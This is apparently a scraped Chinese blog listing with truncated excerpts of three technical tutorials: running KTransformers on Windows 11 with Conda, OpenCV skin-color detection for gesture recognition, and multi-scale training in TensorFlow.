不只是部署:在 Windows 11 上用 Conda 玩转 KTransformers,深入对比 GGUF 与 Safetensors 模型加载的实战差异

在 Windows 11 上用 Conda 玩转 KTransformers&#xff1a;GGUF 与 Safetensors 模型加载的深度实战指南 当你已经成功在 Windows 11 上通过 Conda 环境部署了 KTransformers&#xff0c;接下来的问题往往是&#xff1a;如何根据不同的模型格式和硬件条件&#xff0c;选择最优的…...

别再只调API了!深入OpenCV手势识别:肤色检测算法全解析与实战对比(RGB/YCrCb/OTSU)

深入OpenCV手势识别&#xff1a;肤色检测算法全解析与实战对比 手势识别作为人机交互的重要技术&#xff0c;其核心挑战之一是如何在复杂环境中准确分割皮肤区域。本文将深入探讨四种主流肤色检测算法——RGB阈值法、椭圆模型法、CrCb范围筛选法以及OTSU自适应阈值法&#xff0…...

深度学习实战:用多尺度训练提升图像识别准确率(附TensorFlow代码)

深度学习实战&#xff1a;用多尺度训练提升图像识别准确率&#xff08;附TensorFlow代码&#xff09; 当你在街头用手机拍摄远处模糊的路牌时&#xff0c;是否好奇过AI如何识别不同尺寸的物体&#xff1f;这正是多尺度训练技术要解决的核心问题。在医疗影像分析中&#xff0c;从…...